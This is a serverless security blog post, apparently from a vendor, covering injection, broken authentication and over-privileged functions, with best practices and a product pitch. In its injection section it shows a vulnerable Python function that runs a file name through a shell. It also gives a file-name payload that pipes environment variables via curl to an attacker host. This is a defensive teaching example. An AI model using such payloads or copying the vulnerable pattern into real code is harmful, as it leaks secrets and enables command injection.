According to leading industry practitioners and security researchers: Function event data injection attacks pose the most critical risk, earning top billing in both the OWASP Top 10 and GitHub’s *Serverless Architectures Security Top 10 Guide*.
As the name suggests, injection attacks occur when data from an untrusted event source gets injected into one of your app functions (e.g., database query). Any app can get hit with an injection attack. But, in serverless architectures, the number of possible event sources multiplies. Unlike web app security where inputs are limited to HTTP, serverless allows dozens of event data sources (e.g., cloud storage, database changes, IoT telemetry signals) — all of which cybercriminals can manipulate to their advantage. The situation is even more complex when you consider that each of these data sources comes with its own set of parameters and message formats.
Fittingly, injection attacks come in many forms, from OS commands to SQL to server-side request forgery. The impact of injection attacks depends on the purpose of the compromised function. Let’s review the example provided in the GitHub’s *Serverless Architectures Security Top 10 Guide*: a job candidate CV filtering system.
The system is designed to:
1. Receive emails with CVs attached as PDF files. 2. Transform PDF files into text to perform text analytics using a command-line utility (pdftotext). See below:
```
def index(event, context): for record in event['Records']: sns_message = json.loads(record['Sns']['Message']) raw_email = sns_message['content'] parser = email.message_from_string(raw_email) if parser.is_multipart(): for email_msg in parser.get_payload(): file_name = email_msg.get_filename() if not file_name: continue if not file_name.endswith('.pdf'): continue # export pdf attachment to /tmp pdf_file_path = os.path.join('/tmp', file_name) with open(pdf_file_path, "wb") as pdf_file: pdf_file.write(email_msg.get_payload(decode=True)) # extract text from pdf file cmd = "/var/task/lib/pdftotext {} -".format(pdf_file_path) pdf_content = subprocess.check_output(cmd, shell=True) ```
How an injection attack could affect the system:
1. A threat actor injects a shell command as part of the PDF file name. See below:
foobar;env|curl -H "Content-Type: text/plain" -X POST -d @- http://attacker.site/collector #.pdf
1. The PDF file name leaks all environment variables of the currently executing function.
What went wrong:
The system didn’t perform sufficient checks to validate incoming data. It only verified the file extension was .pdf, but failed to check the file name itself. This allowed the threat actor to inject shell commands in the PDF file name.
### Broken authentication attacks
Following event data injection attacks, next on the OWASP and GitHub lists, in descending risk, is broken authentication.
Your friend’s hijacked social media account. Your credit card info stolen via your coffee shop’s free Wi-Fi. We all know what broken authentication looks like from a consumer standpoint. At best, it sucks. At worst, it can be massively stressful, time-consuming, and even costly.
When cyberattackers compromise passwords, keys, or session tokens — essentially impersonating valid users — they can weasel into high-value assets like confidential data and admin privileges. And, the consequences for the business can be detrimental.
Organizations are particularly susceptible to broken authentication attacks in serverless apps. Since functions by design are independent, solely focused on their one task, there’s no collective, big-picture awareness. This distributed framework makes it easier for attackers to swoop in on forgotten resources like public APIs.
By using managed authentication services (e.g., Amazon Cognito) and built-in API authorizers (e.g., AWS API Gateway HTTP APIs), you can spend time working on your app instead of worrying about whether your system is vulnerable to attack.
### Permission exploitation attacks
Another type of widespread serverless attack is permission exploitation. It’s what can happen when there’s one generic permission level for the entire system — versus specifying varying permission levels per function.
From a developer’s velocity-minded standpoint, it’s easy to see why setting individual permissions for hundreds of functions isn’t exactly a fun use of time. But, if a function is over-privileged (i.e., given more privileges than required to perform its task), a threat actor can use it to wriggle into other serverless resources. And, the business ramifications can be quite painful.
Time and again, companies find themselves unwittingly making headlines due to data breaches that could’ve been avoided with better identity and access management (IAM). For example, [last year, Capital One was hit with a permission exploitation attack](https://securityboulevard.com/2020/06/the-capital-one-data-breach-a-year-later-a-look-at-what-went-wrong-and-practical-guidance-to-avoid-a-breach-of-your-own/) that exposed more than 100 million credit card applications and 140,000 social security numbers. The hacker took advantage of a system vulnerability to gain unintended access to the AWS metadata endpoint. A major IAM misconfiguration allowed her to then barge into several S3 bucket sites containing confidential customer data.
Setting up finely scoped IAM roles between resources is tedious and time-consuming, but it can save organizations from costly breaches. Do yourself a favor: [Simplify the process by automating provisioning](/content/blog/to-do-serverless-right-you-need-a-new-iam-approach/index.html) based on best practices and governance standards.
## Structural serverless security advantages and disadvantages
Earlier, we looked at why serverless is gaining popularity with developers. And while the case for serverless is clear, security is also a must. The serverless design framework — a constellation of trigger-driven, single-purpose functions — makes builds go faster and apps perform better. But, its multiplicity also makes the attack surface bigger, creating new points of vulnerability. Not to mention, with serverless, data is constantly zipping between functions, sources, and APIs, which means malicious actors will try to take advantage.
We’re not going to sugarcoat it. It’s a lot to consider. So, in an attempt to simplify, here’s a quick look at what developers cite as the security advantages and disadvantages of serverless:
 ## Up your serverless security game with these best practices
Despite the complexity of serverless security, you can take charge by leading with these best practices — which we believe should be championed by vendors and clients alike. The key is maintaining effective controls, so you have the visibility and specificity needed.
### Serverless security best practice #1: Minimize privileges
As mentioned earlier, hackers often exploit permissions to finagle unwarranted access. Keep them out by following the rule of least privilege for each function — basically, setting permissions on a need-to-know basis. And because manual provisioning of IAM roles is a huge time suck, not to mention prone to human error, automation here is essential.
Function segmentation is another way to contain an attacker’s actions. By keeping functions separate from one another, it’s easier to minimize privileges for each function — limiting what threat actors can see or do.
### Serverless security best practice #2: Isolate environments
Another serverless security best practice is to set up separate AWS accounts for each environment (e.g., development, staging, production). Better yet, take it one step further and separate accounts by individual team or developer. [Multi-account AWS deployments](/content/blog/multi-account-best-practices/index.html) optimize the segmentation of resources and access.
### Serverless security best practice #3: Update, test, and improve your code
The number of security vulnerabilities rises every year — with many posing critical levels of risk. Adopt a continuous vulnerability management mindset, so you can flag dangerous flaws and prioritize their patches, update safeguards as needed, and stay ahead of attackers. As a rule of thumb, [check for known vulnerabilities whenever you open a PR or prepare a deployment](https://docs.stackery.io/docs/using-stackery/verification-pipeline).
## How to simplify serverless security with Stackery
With Stackery, enterprises are [cutting cloud costs by up to 70%](/content/blog/stackery-http-api-support/index.html) and driving a [60x faster release cycle](/content/blog/15-hours-to-15-minutes/index.html). We can save you time and effort when it comes to automating serverless security, too. Here are a few ways we can help:
- Automating IAM permission generation using least-privileged scopes - Generating individual IAM roles for each compute resource - Isolating environments within and across AWS accounts - Securing environment storage within AWS Secrets Manager for confidential data - Ensuring confidentiality of source code and builds, with all builds occurring in your AWS account
Want to visualize the ideal serverless workflow for utmost efficiency, repeatability, and security for your whole team? [Let’s talk](https://hs.stackery.io/contact-us).